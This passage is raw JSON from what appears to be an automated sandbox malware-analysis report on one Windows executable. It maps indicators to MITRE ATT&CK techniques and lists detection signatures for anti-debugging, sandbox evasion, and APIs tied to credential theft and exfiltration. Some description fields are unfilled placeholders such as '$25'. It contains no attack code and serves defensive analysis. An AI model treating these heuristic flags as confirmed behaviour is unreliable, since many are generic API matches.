TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Decrypted SSL network traffic"},{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Communicates with HTTPS web server (GET/POST requests)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Calls an API used to open a process handle"}],"sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]}],"sandbox_signatures":[{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\Afd\\Mio\" (Indicator: \"\\Device\\\"; Source: \"sample.bin\"), Found string \"\\Device\\NamedPipe\\\" (Indicator: \"\\Device\\\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-474","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"Found reference to API \"d[%s] bind thread (%d)\" (Indicator: \" bind \"; Source: \"sample.bin\"), Found reference to API \"Cannot bind partial channel\" (Indicator: \" bind \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-899","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FE9E5000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FE9E5000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FE9E5000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\NUL; Source: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\DNSCACHE\\PARAMETERS\")\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" queried SystemProcessInformation at 00000000-00005912-00000C15-2142091265 [PID: 5912]\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" queried SystemProcessInformation at 00000000-00005912-00000C15-2142099753 [PID: 5912]\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" queried SystemProcessInformation at 00000000-00005912-00000C15-2142367303 [PID: 5912]\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" queried SystemProcessInformation at 00000000-00005912-00000C15-2142375571 [PID: 5912]","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"NtQueryInformationProcess\" (Indicator: \"NtQueryInformationProcess\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@kernel32.dll at 64812-9265-00000001501D0C60","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$26","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$27","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"EncryptMessage\" (Indicator: \"EncryptMessage\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CertFreeCertificateContext\" (Indicator: \"CertFreeCertificateContext\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CertCloseStore\" (Indicator: \"CertCloseStore\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"CertEnumCertificatesInStore\" (Indicator: \"CertEnumCertificatesInStore\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"DecryptMessage\" (Indicator: \"DecryptMessage\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \":\\WINDOWS\\SYSTEM32\\MSVCP140.dll\" (Indicator: \"\\msvcp140.dll\"; Source: \"00000000-00005912.00000000.201121.FE960000.00000004.mdmp, 00000000-00005912.00000001.203043.FE960000.00000004.mdmp, 00000000-00005912.00000002.204961.FE960000.00000004.mdmp, 00000000-00005912.00000003.212383.FE960000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-493","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00005912.00000000.201121.FF8A0000.00000004.mdmp, 00000000-00005912.00000001.203043.FF8A0000.00000004.mdmp, 00000000-00005912.00000002.204961.FF8A0000.00000004.mdmp, 00000000-00005912.00000003.212383.FF8E0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$28","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$29","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2a","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to access user sensitive domain","description":"Found string \"y\" as a valid key for accelerator\n if you feel like it should be\n please report this to https://github.com/tauri-apps/muda\" (Indicator: \"github.com\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1590","relevance":1,"id":"string-761","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"getaddrinfo\" (Indicator: \"getaddrinfo\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"\n Found system information discovery API: \"GetEnvironmentStringsW\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"\n Found system information discovery API: \"RtlNtStatusToDosError\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"\n Found system information discovery API: \"NtQuerySystemInformation\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"\n Found system information discovery API: \"GetMonitorInfoW\" in file \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\"","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetKeyboardLayout\" (Indicator: \"GetKeyboardLayout\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")\n Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; File: \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00005912)\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00005912)\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"GetMonitorInfoW\" with parameters (UID: 00000000-00005912)\n \"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get handle of currently active window","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"GetActiveWindow\" (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1010","relevance":5,"id":"api-150","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"7f1db334fd3302cf98dd4afddf6f90e98e2a496fe7e86bf1832b89d02f3d73c3.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005912)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6a7e26ef88ae851e4d0f49ac"},{"report_type":"sandbox","report_id":"6ab6e4b0daa59455630c0660"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API used to retrieve geographical location information","description":"Observed import api \"getaddrinfo\" which can be \"used to convert host name to address\" [Source: 